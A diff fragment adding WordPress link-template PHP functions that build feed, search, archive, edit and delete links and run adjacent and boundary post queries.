+ * Retrieve the feed link for a term.
+ *
+ * Returns a link to the feed for all posts in a given term. A specific feed
+ * can be requested or left blank to get the default feed.
+ *
+ * @since 3.0.0
+ *
+ * @param int $term_id ID of a category.
+ * @param string $taxonomy Optional. Taxonomy of $term_id
+ * @param string $feed Optional. Feed type.
+ * @return string Link to the feed for the term specified by $term_id and $taxonomy.
+*/
+function get_term_feed_link( $term_id, $taxonomy = 'category', $feed = '' ) {
+	$term_id = ( int ) $term_id;
+
+	$term = get_term( $term_id, $taxonomy  );
+
+	if ( empty( $term ) || is_wp_error( $term ) )
+		return false;
+
+	if ( empty( $feed ) )
+		$feed = get_default_feed();
+
+	$permalink_structure = get_option( 'permalink_structure' );
+
+	if ( '' == $permalink_structure ) {
+		if ( 'category' == $taxonomy ) {
+			$link = home_url("?feed=$feed&amp;cat=$term_id");
+		}
+		elseif ( 'post_tag' == $taxonomy ) {
+			$link = home_url("?feed=$feed&amp;tag=$term->slug");
+		} else {
+			$t = get_taxonomy( $taxonomy );
+			$link = home_url("?feed=$feed&amp;$t->query_var=$term->slug");
+		}
+	} else {
+		$link = get_term_link( $term_id, $term->taxonomy );
+		if ( $feed == get_default_feed() )
+			$feed_link = 'feed';
+		else
+			$feed_link = "feed/$feed";
+
+		$link = trailingslashit( $link ) . user_trailingslashit( $feed_link, 'feed' );
+	}
+
+	if ( 'category' == $taxonomy ) {
+		/**
+		 * Filter the category feed link.
+		 *
+		 * @since 1.5.1
+		 *
+		 * @param string $link The category feed link.
+		 * @param string $feed Feed type.
+		 */
+		$link = apply_filters( 'category_feed_link', $link, $feed );
+	} elseif ( 'post_tag' == $taxonomy ) {
+		/**
+		 * Filter the post tag feed link.
+		 *
+		 * @since 2.3.0
+		 *
+		 * @param string $link The tag feed link.
+		 * @param string $feed Feed type.
+		 */
+		$link = apply_filters( 'tag_feed_link', $link, $feed );
+	} else {
+		/**
+		 * Filter the feed link for a taxonomy other than 'category' or 'post_tag'.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string $link The taxonomy feed link.
+		 * @param string $feed Feed type.
+		 * @param string $feed The taxonomy name.
+		 */
+		$link = apply_filters( 'taxonomy_feed_link', $link, $feed, $taxonomy );
+	}
+
+	return $link;
+}
+
+/**
+ * Retrieve permalink for feed of tag.
+ *
+ * @since 2.3.0
+ *
+ * @param int $tag_id Tag ID.
+ * @param string $feed Optional. Feed type.
+ * @return string The feed permalink for the given tag.
+ */
+function get_tag_feed_link($tag_id, $feed = '') {
+	return get_term_feed_link($tag_id, 'post_tag', $feed);
+}
+
+/**
+ * Retrieve edit tag link.
+ *
+ * @since 2.7.0
+ *
+ * @param int $tag_id Tag ID
+ * @param string $taxonomy Taxonomy
+ * @return string The edit tag link URL for the given tag.
+ */
+function get_edit_tag_link( $tag_id, $taxonomy = 'post_tag' ) {
+	/**
+	 * Filter the edit link for a tag (or term in another taxonomy).
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $link The term edit link.
+	 */
+	return apply_filters( 'get_edit_tag_link', get_edit_term_link( $tag_id, $taxonomy ) );
+}
+
+/**
+ * Display or retrieve edit tag link with formatting.
+ *
+ * @since 2.7.0
+ *
+ * @param string $link Optional. Anchor text.
+ * @param string $before Optional. Display before edit link.
+ * @param string $after Optional. Display after edit link.
+ * @param object $tag Tag object.
+ * @return string HTML content.
+ */
+function edit_tag_link( $link = '', $before = '', $after = '', $tag = null ) {
+	$link = edit_term_link( $link, '', '', $tag, false );
+
+	/**
+	 * Filter the anchor tag for the edit link for a tag (or term in another taxonomy).
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $link The anchor tag for the edit link.
+	 */
+	echo $before . apply_filters( 'edit_tag_link', $link ) . $after;
+}
+
+/**
+ * Retrieve edit term url.
+ *
+ * @since 3.1.0
+ *
+ * @param int $term_id Term ID
+ * @param string $taxonomy Taxonomy
+ * @param string $object_type The object type
+ * @return string The edit term link URL for the given term.
+ */
+function get_edit_term_link( $term_id, $taxonomy, $object_type = '' ) {
+	$tax = get_taxonomy( $taxonomy );
+	if ( !current_user_can( $tax->cap->edit_terms ) )
+		return;
+
+	$term = get_term( $term_id, $taxonomy );
+
+	$args = array(
+		'action' => 'edit',
+		'taxonomy' => $taxonomy,
+		'tag_ID' => $term->term_id,
+	);
+
+	if ( $object_type )
+		$args['post_type'] = $object_type;
+
+	$location = add_query_arg( $args, admin_url( 'edit-tags.php' ) );
+
+	/**
+	 * Filter the edit link for a term.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $location    The edit link.
+	 * @param int    $term_id     Term ID.
+	 * @param string $taxonomy    Taxonomy name.
+	 * @param string $object_type The object type (eg. the post type).
+	 */
+	return apply_filters( 'get_edit_term_link', $location, $term_id, $taxonomy, $object_type );
+}
+
+/**
+ * Display or retrieve edit term link with formatting.
+ *
+ * @since 3.1.0
+ *
+ * @param string $link Optional. Anchor text.
+ * @param string $before Optional. Display before edit link.
+ * @param string $after Optional. Display after edit link.
+ * @param object $term Term object.
+ * @return string HTML content.
+ */
+function edit_term_link( $link = '', $before = '', $after = '', $term = null, $echo = true ) {
+	if ( is_null( $term ) )
+		$term = get_queried_object();
+
+	if ( ! $term )
+		return;
+
+	$tax = get_taxonomy( $term->taxonomy );
+	if ( ! current_user_can( $tax->cap->edit_terms ) )
+		return;
+
+	if ( empty( $link ) )
+		$link = __('Edit This');
+
+	$link = '<a href="' . get_edit_term_link( $term->term_id, $term->taxonomy ) . '">' . $link . '</a>';
+
+	/**
+	 * Filter the anchor tag for the edit link of a term.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $link    The anchor tag for the edit link.
+	 * @param int    $term_id Term ID.
+	 */
+	$link = $before . apply_filters( 'edit_term_link', $link, $term->term_id ) . $after;
+
+	if ( $echo )
+		echo $link;
+	else
+		return $link;
+}
+
+/**
+ * Retrieve permalink for search.
+ *
+ * @since  3.0.0
+ *
+ * @param string $query Optional. The query string to use. If empty the current query is used.
+ * @return string The search permalink.
+ */
+function get_search_link( $query = '' ) {
+	global $wp_rewrite;
+
+	if ( empty($query) )
+		$search = get_search_query( false );
+	else
+		$search = stripslashes($query);
+
+	$permastruct = $wp_rewrite->get_search_permastruct();
+
+	if ( empty( $permastruct ) ) {
+		$link = home_url('?s=' . urlencode($search) );
+	} else {
+		$search = urlencode($search);
+		$search = str_replace('%2F', '/', $search); // %2F(/) is not valid within a URL, send it unencoded.
+		$link = str_replace( '%search%', $search, $permastruct );
+		$link = home_url( user_trailingslashit( $link, 'search' ) );
+	}
+
+	/**
+	 * Filter the search permalink.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $link   Search permalink.
+	 * @param string $search The URL-encoded search term.
+	 */
+	return apply_filters( 'search_link', $link, $search );
+}
+
+/**
+ * Retrieve the permalink for the feed of the search results.
+ *
+ * @since 2.5.0
+ *
+ * @param string $search_query Optional. Search query.
+ * @param string $feed Optional. Feed type.
+ * @return string The search results feed permalink.
+ */
+function get_search_feed_link($search_query = '', $feed = '') {
+	global $wp_rewrite;
+	$link = get_search_link($search_query);
+
+	if ( empty($feed) )
+		$feed = get_default_feed();
+
+	$permastruct = $wp_rewrite->get_search_permastruct();
+
+	if ( empty($permastruct) ) {
+		$link = add_query_arg('feed', $feed, $link);
+	} else {
+		$link = trailingslashit($link);
+		$link .= "feed/$feed/";
+	}
+
+	/**
+	 * Filter the search feed link.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $link Search feed link.
+	 * @param string $feed Feed type.
+	 * @param string $type The search type. One of 'posts' or 'comments'.
+	 */
+	$link = apply_filters( 'search_feed_link', $link, $feed, 'posts' );
+
+	return $link;
+}
+
+/**
+ * Retrieve the permalink for the comments feed of the search results.
+ *
+ * @since 2.5.0
+ *
+ * @param string $search_query Optional. Search query.
+ * @param string $feed Optional. Feed type.
+ * @return string The comments feed search results permalink.
+ */
+function get_search_comments_feed_link($search_query = '', $feed = '') {
+	global $wp_rewrite;
+
+	if ( empty($feed) )
+		$feed = get_default_feed();
+
+	$link = get_search_feed_link($search_query, $feed);
+
+	$permastruct = $wp_rewrite->get_search_permastruct();
+
+	if ( empty($permastruct) )
+		$link = add_query_arg('feed', 'comments-' . $feed, $link);
+	else
+		$link = add_query_arg('withcomments', 1, $link);
+
+	/** This filter is documented in wp-includes/link-template.php */
+	$link = apply_filters('search_feed_link', $link, $feed, 'comments');
+
+	return $link;
+}
+
+/**
+ * Retrieve the permalink for a post type archive.
+ *
+ * @since 3.1.0
+ *
+ * @param string $post_type Post type
+ * @return string The post type archive permalink.
+ */
+function get_post_type_archive_link( $post_type ) {
+	global $wp_rewrite;
+	if ( ! $post_type_obj = get_post_type_object( $post_type ) )
+		return false;
+
+	if ( ! $post_type_obj->has_archive )
+		return false;
+
+	if ( get_option( 'permalink_structure' ) && is_array( $post_type_obj->rewrite ) ) {
+		$struct = ( true === $post_type_obj->has_archive ) ? $post_type_obj->rewrite['slug'] : $post_type_obj->has_archive;
+		if ( $post_type_obj->rewrite['with_front'] )
+			$struct = $wp_rewrite->front . $struct;
+		else
+			$struct = $wp_rewrite->root . $struct;
+		$link = home_url( user_trailingslashit( $struct, 'post_type_archive' ) );
+	} else {
+		$link = home_url( '?post_type=' . $post_type );
+	}
+
+	/**
+	 * Filter the post type archive permalink.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $link      The post type archive permalink.
+	 * @param string $post_type Post type name.
+	 */
+	return apply_filters( 'post_type_archive_link', $link, $post_type );
+}
+
+/**
+ * Retrieve the permalink for a post type archive feed.
+ *
+ * @since 3.1.0
+ *
+ * @param string $post_type Post type
+ * @param string $feed Optional. Feed type
+ * @return string The post type feed permalink.
+ */
+function get_post_type_archive_feed_link( $post_type, $feed = '' ) {
+	$default_feed = get_default_feed();
+	if ( empty( $feed ) )
+		$feed = $default_feed;
+
+	if ( ! $link = get_post_type_archive_link( $post_type ) )
+		return false;
+
+	$post_type_obj = get_post_type_object( $post_type );
+	if ( get_option( 'permalink_structure' ) && is_array( $post_type_obj->rewrite ) && $post_type_obj->rewrite['feeds'] ) {
+		$link = trailingslashit( $link );
+		$link .= 'feed/';
+		if ( $feed != $default_feed )
+			$link .= "$feed/";
+	} else {
+		$link = add_query_arg( 'feed', $feed, $link );
+	}
+
+	/**
+	 * Filter the post type archive feed link.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $link The post type archive feed link.
+	 * @param string $feed Feed type.
+	 */
+	return apply_filters( 'post_type_archive_feed_link', $link, $feed );
+}
+
+/**
+ * Retrieve edit posts link for post.
+ *
+ * Can be used within the WordPress loop or outside of it. Can be used with
+ * pages, posts, attachments, and revisions.
+ *
+ * @since 2.3.0
+ *
+ * @param int $id Optional. Post ID.
+ * @param string $context Optional, defaults to display. How to write the '&', defaults to '&amp;'.
+ * @return string The edit post link for the given post.
+ */
+function get_edit_post_link( $id = 0, $context = 'display' ) {
+	if ( ! $post = get_post( $id ) )
+		return;
+
+	if ( 'revision' === $post->post_type )
+		$action = '';
+	elseif ( 'display' == $context )
+		$action = '&amp;action=edit';
+	else
+		$action = '&action=edit';
+
+	$post_type_object = get_post_type_object( $post->post_type );
+	if ( !$post_type_object )
+		return;
+
+	if ( !current_user_can( 'edit_post', $post->ID ) )
+		return;
+
+	/**
+	 * Filter the post edit link.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $link    The edit link.
+	 * @param int    $post_id Post ID.
+	 * @param string $context The link context. If set to 'display' then ampersands
+	 *                        are encoded.
+	 */
+	return apply_filters( 'get_edit_post_link', admin_url( sprintf( $post_type_object->_edit_link . $action, $post->ID ) ), $post->ID, $context );
+}
+
+/**
+ * Display edit post link for post.
+ *
+ * @since 1.0.0
+ *
+ * @param string $text Optional. Anchor text.
+ * @param string $before Optional. Display before edit link.
+ * @param string $after Optional. Display after edit link.
+ * @param int $id Optional. Post ID.
+ */
+function edit_post_link( $text = null, $before = '', $after = '', $id = 0 ) {
+	if ( ! $post = get_post( $id ) ) {
+		return;
+	}
+
+	if ( ! $url = get_edit_post_link( $post->ID ) ) {
+		return;
+	}
+
+	if ( null === $text ) {
+		$text = __( 'Edit This' );
+	}
+
+	$link = '<a class="post-edit-link" href="' . $url . '">' . $text . '</a>';
+
+	/**
+	 * Filter the post edit link anchor tag.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $link    Anchor tag for the edit link.
+	 * @param int    $post_id Post ID.
+	 * @param string $text    Anchor text.
+	 */
+	echo $before . apply_filters( 'edit_post_link', $link, $post->ID, $text ) . $after;
+}
+
+/**
+ * Retrieve delete posts link for post.
+ *
+ * Can be used within the WordPress loop or outside of it, with any post type.
+ *
+ * @since 2.9.0
+ *
+ * @param int $id Optional. Post ID.
+ * @param string $deprecated Not used.
+ * @param bool $force_delete Whether to bypass trash and force deletion. Default is false.
+ * @return string The delete post link URL for the given post.
+ */
+function get_delete_post_link( $id = 0, $deprecated = '', $force_delete = false ) {
+	if ( ! empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, '3.0' );
+
+	if ( !$post = get_post( $id ) )
+		return;
+
+	$post_type_object = get_post_type_object( $post->post_type );
+	if ( !$post_type_object )
+		return;
+
+	if ( !current_user_can( 'delete_post', $post->ID ) )
+		return;
+
+	$action = ( $force_delete || !EMPTY_TRASH_DAYS ) ? 'delete' : 'trash';
+
+	$delete_link = add_query_arg( 'action', $action, admin_url( sprintf( $post_type_object->_edit_link, $post->ID ) ) );
+
+	/**
+	 * Filter the post delete link.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $link         The delete link.
+	 * @param int    $post_id      Post ID.
+	 * @param bool   $force_delete Whether to bypass the trash and force deletion. Default false.
+	 */
+	return apply_filters( 'get_delete_post_link', wp_nonce_url( $delete_link, "$action-post_{$post->ID}" ), $post->ID, $force_delete );
+}
+
+/**
+ * Retrieve edit comment link.
+ *
+ * @since 2.3.0
+ *
+ * @param int $comment_id Optional. Comment ID.
+ * @return string The edit comment link URL for the given comment.
+ */
+function get_edit_comment_link( $comment_id = 0 ) {
+	$comment = get_comment( $comment_id );
+
+	if ( !current_user_can( 'edit_comment', $comment->comment_ID ) )
+		return;
+
+	$location = admin_url('comment.php?action=editcomment&amp;c=') . $comment->comment_ID;
+
+	/**
+	 * Filter the comment edit link.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $location The edit link.
+	 */
+	return apply_filters( 'get_edit_comment_link', $location );
+}
+
+/**
+ * Display edit comment link with formatting.
+ *
+ * @since 1.0.0
+ *
+ * @param string $text Optional. Anchor text.
+ * @param string $before Optional. Display before edit link.
+ * @param string $after Optional. Display after edit link.
+ */
+function edit_comment_link( $text = null, $before = '', $after = '' ) {
+	global $comment;
+
+	if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) ) {
+		return;
+	}
+
+	if ( null === $text ) {
+		$text = __( 'Edit This' );
+	}
+
+	$link = '<a class="comment-edit-link" href="' . get_edit_comment_link( $comment->comment_ID ) . '">' . $text . '</a>';
+
+	/**
+	 * Filter the comment edit link anchor tag.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $link       Anchor tag for the edit link.
+	 * @param int    $comment_id Comment ID.
+	 * @param string $text       Anchor text.
+	 */
+	echo $before . apply_filters( 'edit_comment_link', $link, $comment->comment_ID, $text ) . $after;
+}
+
+/**
+ * Display edit bookmark (literally a URL external to blog) link.
+ *
+ * @since 2.7.0
+ *
+ * @param int $link Optional. Bookmark ID.
+ * @return string The edit bookmark link URL.
+ */
+function get_edit_bookmark_link( $link = 0 ) {
+	$link = get_bookmark( $link );
+
+	if ( !current_user_can('manage_links') )
+		return;
+
+	$location = admin_url('link.php?action=edit&amp;link_id=') . $link->link_id;
+
+	/**
+	 * Filter the bookmark (link) edit link.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $location The edit link.
+	 * @param int    $link_id  Bookmark ID.
+	 */
+	return apply_filters( 'get_edit_bookmark_link', $location, $link->link_id );
+}
+
+/**
+ * Display edit bookmark (literally a URL external to blog) link anchor content.
+ *
+ * @since 2.7.0
+ *
+ * @param string $link Optional. Anchor text.
+ * @param string $before Optional. Display before edit link.
+ * @param string $after Optional. Display after edit link.
+ * @param int $bookmark Optional. Bookmark ID.
+ */
+function edit_bookmark_link( $link = '', $before = '', $after = '', $bookmark = null ) {
+	$bookmark = get_bookmark($bookmark);
+
+	if ( !current_user_can('manage_links') )
+		return;
+
+	if ( empty($link) )
+		$link = __('Edit This');
+
+	$link = '<a href="' . get_edit_bookmark_link( $bookmark ) . '">' . $link . '</a>';
+
+	/**
+	 * Filter the bookmark edit link anchor tag.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $link    Anchor tag for the edit link.
+	 * @param int    $link_id Bookmark ID.
+	 */
+	echo $before . apply_filters( 'edit_bookmark_link', $link, $bookmark->link_id ) . $after;
+}
+
+/**
+ * Retrieve edit user link
+ *
+ * @since 3.5.0
+ *
+ * @param int $user_id Optional. User ID. Defaults to the current user.
+ * @return string URL to edit user page or empty string.
+ */
+function get_edit_user_link( $user_id = null ) {
+	if ( ! $user_id )
+		$user_id = get_current_user_id();
+
+	if ( empty( $user_id ) || ! current_user_can( 'edit_user', $user_id ) )
+		return '';
+
+	$user = get_userdata( $user_id );
+
+	if ( ! $user )
+		return '';
+
+	if ( get_current_user_id() == $user->ID )
+		$link = get_edit_profile_url( $user->ID );
+	else
+		$link = add_query_arg( 'user_id', $user->ID, self_admin_url( 'user-edit.php' ) );
+
+	/**
+	 * Filter the user edit link.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param string $link    The edit link.
+	 * @param int    $user_id User ID.
+	 */
+	return apply_filters( 'get_edit_user_link', $link, $user->ID );
+}
+
+// Navigation links
+
+/**
+ * Retrieve previous post that is adjacent to current post.
+ *
+ * @since 1.5.0
+ *
+ * @param bool         $in_same_term   Optional. Whether post should be in a same taxonomy term.
+ * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
+ * @param string       $taxonomy       Optional. Taxonomy, if $in_same_term is true. Default 'category'.
+ * @return mixed       Post object if successful. Null if global $post is not set. Empty string if no corresponding post exists.
+ */
+function get_previous_post( $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
+	return get_adjacent_post( $in_same_term, $excluded_terms, true, $taxonomy );
+}
+
+/**
+ * Retrieve next post that is adjacent to current post.
+ *
+ * @since 1.5.0
+ *
+ * @param bool         $in_same_term   Optional. Whether post should be in a same taxonomy term.
+ * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
+ * @param string       $taxonomy       Optional. Taxonomy, if $in_same_term is true. Default 'category'.
+ * @return mixed       Post object if successful. Null if global $post is not set. Empty string if no corresponding post exists.
+ */
+function get_next_post( $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
+	return get_adjacent_post( $in_same_term, $excluded_terms, false, $taxonomy );
+}
+
+/**
+ * Retrieve adjacent post.
+ *
+ * Can either be next or previous post.
+ *
+ * @since 2.5.0
+ *
+ * @param bool         $in_same_term   Optional. Whether post should be in a same taxonomy term.
+ * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
+ * @param bool         $previous       Optional. Whether to retrieve previous post.
+ * @param string       $taxonomy       Optional. Taxonomy, if $in_same_term is true. Default 'category'.
+ * @return mixed       Post object if successful. Null if global $post is not set. Empty string if no corresponding post exists.
+ */
+function get_adjacent_post( $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) {
+	global $wpdb;
+
+	if ( ( ! $post = get_post() ) || ! taxonomy_exists( $taxonomy ) )
+		return null;
+
+	$current_post_date = $post->post_date;
+
+	$join = '';
+	$where = '';
+
+	if ( $in_same_term || ! empty( $excluded_terms ) ) {
+		$join = " INNER JOIN $wpdb->term_relationships AS tr ON p.ID = tr.object_id INNER JOIN $wpdb->term_taxonomy tt ON tr.term_taxonomy_id = tt.term_taxonomy_id";
+		$where = $wpdb->prepare( "AND tt.taxonomy = %s", $taxonomy );
+
+		if ( ! empty( $excluded_terms ) && ! is_array( $excluded_terms ) ) {
+			// back-compat, $excluded_terms used to be $excluded_terms with IDs separated by " and "
+			if ( false !== strpos( $excluded_terms, ' and ' ) ) {
+				_deprecated_argument( __FUNCTION__, '3.3', sprintf( __( 'Use commas instead of %s to separate excluded terms.' ), "'and'" ) );
+				$excluded_terms = explode( ' and ', $excluded_terms );
+			} else {
+				$excluded_terms = explode( ',', $excluded_terms );
+			}
+
+			$excluded_terms = array_map( 'intval', $excluded_terms );
+		}
+
+		if ( $in_same_term ) {
+			if ( ! is_object_in_taxonomy( $post->post_type, $taxonomy ) )
+				return '';
+			$term_array = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'ids' ) );
+
+			// Remove any exclusions from the term array to include.
+			$term_array = array_diff( $term_array, (array) $excluded_terms );
+			$term_array = array_map( 'intval', $term_array );
+
+			if ( ! $term_array || is_wp_error( $term_array ) )
+				return '';
+
+			$where .= " AND tt.term_id IN (" . implode( ',', $term_array ) . ")";
+		}
+
+		if ( ! empty( $excluded_terms ) ) {
+			$where .= " AND p.ID NOT IN ( SELECT tr.object_id FROM $wpdb->term_relationships tr LEFT JOIN $wpdb->term_taxonomy tt ON (tr.term_taxonomy_id = tt.term_taxonomy_id) WHERE tt.term_id IN (" . implode( $excluded_terms, ',' ) . ') )';
+		}
+	}
+
+	$adjacent = $previous ? 'previous' : 'next';
+	$op = $previous ? '<' : '>';
+	$order = $previous ? 'DESC' : 'ASC';
+
+	/**
+	 * Filter the JOIN clause in the SQL for an adjacent post query.
+	 *
+	 * The dynamic portion of the hook name, `$adjacent`, refers to the type
+	 * of adjacency, 'next' or 'previous'.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $join           The JOIN clause in the SQL.
+	 * @param bool   $in_same_term   Whether post should be in a same taxonomy term.
+	 * @param array  $excluded_terms Array of excluded term IDs.
+	 */
+	$join  = apply_filters( "get_{$adjacent}_post_join", $join, $in_same_term, $excluded_terms );
+
+	/**
+	 * Filter the WHERE clause in the SQL for an adjacent post query.
+	 *
+	 * The dynamic portion of the hook name, `$adjacent`, refers to the type
+	 * of adjacency, 'next' or 'previous'.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $where          The `WHERE` clause in the SQL.
+	 * @param bool   $in_same_term   Whether post should be in a same taxonomy term.
+	 * @param array  $excluded_terms Array of excluded term IDs.
+	 */
+	$where = apply_filters( "get_{$adjacent}_post_where", $wpdb->prepare( "WHERE p.post_date $op %s AND p.post_type = %s AND p.post_status = 'publish' $where", $current_post_date, $post->post_type ), $in_same_term, $excluded_terms );
+
+	/**
+	 * Filter the ORDER BY clause in the SQL for an adjacent post query.
+	 *
+	 * The dynamic portion of the hook name, `$adjacent`, refers to the type
+	 * of adjacency, 'next' or 'previous'.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $order_by The `ORDER BY` clause in the SQL.
+	 */
+	$sort  = apply_filters( "get_{$adjacent}_post_sort", "ORDER BY p.post_date $order LIMIT 1" );
+
+	$query = "SELECT p.ID FROM $wpdb->posts AS p $join $where $sort";
+	$query_key = 'adjacent_post_' . md5( $query );
+	$result = wp_cache_get( $query_key, 'counts' );
+	if ( false !== $result ) {
+		if ( $result )
+			$result = get_post( $result );
+		return $result;
+	}
+
+	$result = $wpdb->get_var( $query );
+	if ( null === $result )
+		$result = '';
+
+	wp_cache_set( $query_key, $result, 'counts' );
+
+	if ( $result )
+		$result = get_post( $result );
+
+	return $result;
+}
+
+/**
+ * Get adjacent post relational link.
+ *
+ * Can either be next or previous post relational link.
+ *
+ * @since 2.8.0
+ *
+ * @param string       $title          Optional. Link title format.
+ * @param bool         $in_same_term   Optional. Whether link should be in a same taxonomy term.
+ * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
+ * @param bool         $previous       Optional. Whether to display link to previous or next post. Default true.
+ * @param string       $taxonomy       Optional. Taxonomy, if $in_same_term is true. Default 'category'.
+ * @return string The adjacent post relational link URL.
+ */
+function get_adjacent_post_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) {
+	if ( $previous && is_attachment() && $post = get_post() )
+		$post = get_post( $post->post_parent );
+	else
+		$post = get_adjacent_post( $in_same_term, $excluded_terms, $previous, $taxonomy );
+
+	if ( empty( $post ) )
+		return;
+
+	$post_title = the_title_attribute( array( 'echo' => false, 'post' => $post ) );
+
+	if ( empty( $post_title ) )
+		$post_title = $previous ? __( 'Previous Post' ) : __( 'Next Post' );
+
+	$date = mysql2date( get_option( 'date_format' ), $post->post_date );
+
+	$title = str_replace( '%title', $post_title, $title );
+	$title = str_replace( '%date', $date, $title );
+
+	$link = $previous ? "<link rel='prev' title='" : "<link rel='next' title='";
+	$link .= esc_attr( $title );
+	$link .= "' href='" . get_permalink( $post ) . "' />\n";
+
+	$adjacent = $previous ? 'previous' : 'next';
+
+	/**
+	 * Filter the adjacent post relational link.
+	 *
+	 * The dynamic portion of the hook name, `$adjacent`, refers to the type
+	 * of adjacency, 'next' or 'previous'.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $link The relational link.
+	 */
+	return apply_filters( "{$adjacent}_post_rel_link", $link );
+}
+
+/**
+ * Display relational links for the posts adjacent to the current post.
+ *
+ * @since 2.8.0
+ *
+ * @param string       $title          Optional. Link title format.
+ * @param bool         $in_same_term   Optional. Whether link should be in a same taxonomy term.
+ * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
+ * @param string       $taxonomy       Optional. Taxonomy, if $in_same_term is true. Default 'category'.
+ */
+function adjacent_posts_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
+	echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, true, $taxonomy );
+	echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, false, $taxonomy );
+}
+
+/**
+ * Display relational links for the posts adjacent to the current post for single post pages.
+ *
+ * This is meant to be attached to actions like 'wp_head'. Do not call this directly in plugins or theme templates.
+ * @since 3.0.0
+ *
+ */
+function adjacent_posts_rel_link_wp_head() {
+	if ( ! is_single() || is_attachment() ) {
+		return;
+	}
+	adjacent_posts_rel_link();
+}
+
+/**
+ * Display relational link for the next post adjacent to the current post.
+ *
+ * @since 2.8.0
+ *
+ * @param string       $title          Optional. Link title format.
+ * @param bool         $in_same_term   Optional. Whether link should be in a same taxonomy term.
+ * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
+ * @param string       $taxonomy       Optional. Taxonomy, if $in_same_term is true. Default 'category'.
+ */
+function next_post_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
+	echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, false, $taxonomy );
+}
+
+/**
+ * Display relational link for the previous post adjacent to the current post.
+ *
+ * @since 2.8.0
+ *
+ * @param string       $title          Optional. Link title format.
+ * @param bool         $in_same_term   Optional. Whether link should be in a same taxonomy term.
+ * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default true.
+ * @param string       $taxonomy       Optional. Taxonomy, if $in_same_term is true. Default 'category'.
+ */
+function prev_post_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
+	echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, true, $taxonomy );
+}
+
+/**
+ * Retrieve boundary post.
+ *
+ * Boundary being either the first or last post by publish date within the constraints specified
+ * by $in_same_term or $excluded_terms.
+ *
+ * @since 2.8.0
+ *
+ * @param bool         $in_same_term   Optional. Whether returned post should be in a same taxonomy term.
+ * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
+ * @param bool         $start          Optional. Whether to retrieve first or last post.
+ * @param string       $taxonomy       Optional. Taxonomy, if $in_same_term is true. Default 'category'.
+ * @return mixed Array containing the boundary post object if successful, null otherwise.
+ */
+function get_boundary_post( $in_same_term = false, $excluded_terms = '', $start = true, $taxonomy = 'category' ) {
+	$post = get_post();
+	if ( ! $post || ! is_single() || is_attachment() || ! taxonomy_exists( $taxonomy ) )
+		return null;
+
+	$query_args = array(
+		'posts_per_page' => 1,
+		'order' => $start ? 'ASC' : 'DESC',
+		'update_post_term_cache' => false,
+		'update_post_meta_cache' => false
+	);
+
+	$term_array = array();
+
+	if ( ! is_array( $excluded_terms ) ) {
+		if ( ! empty( $excluded_terms ) )
+			$excluded_terms = explode( ',', $excluded_terms );
+		else
+			$excluded_terms = array();
+	}
+
+	if ( $in_same_term || ! empty( $excluded_terms ) ) {
+		if ( $in_same_term )
+			$term_array = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'ids' ) );
+
+		if ( ! empty( $excluded_terms ) ) {
+			$excluded_terms = array_map( 'intval', $excluded_terms );
+			$excluded_terms = array_diff( $excluded_terms, $term_array );
+
+			$inverse_terms = array();
+			foreach ( $excluded_terms as $excluded_term )
+				$inverse_terms[] = $excluded_term * -1;
+			$excluded_terms = $inverse_terms;
+		}
+
+		$query_args[ 'tax_query' ] = array( array(
+			'taxonomy' => $taxonomy,
+			'terms' => array_merge( $term_array, $excluded_terms )
+		) );
+	}
+
+	return get_posts( $query_args );
+}
+
+/*
+ * Get previous post link that is adjacent to the current post.
+ *
+ * @since 3.7.0
+ *
+ * @param string       $format         Optional. Link anchor format.
+ * @param string       $link           Optional. Link permalink format.
+ * @param bool         $in_same_term   Optional. Whether link should be in a same taxonomy term.
+ * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
+ * @param string       $taxonomy       Optional. Taxonomy, if $in_same_term is true. Default 'category'.
+ * @return string The link URL of the previous post in relation to the current post.
+ */
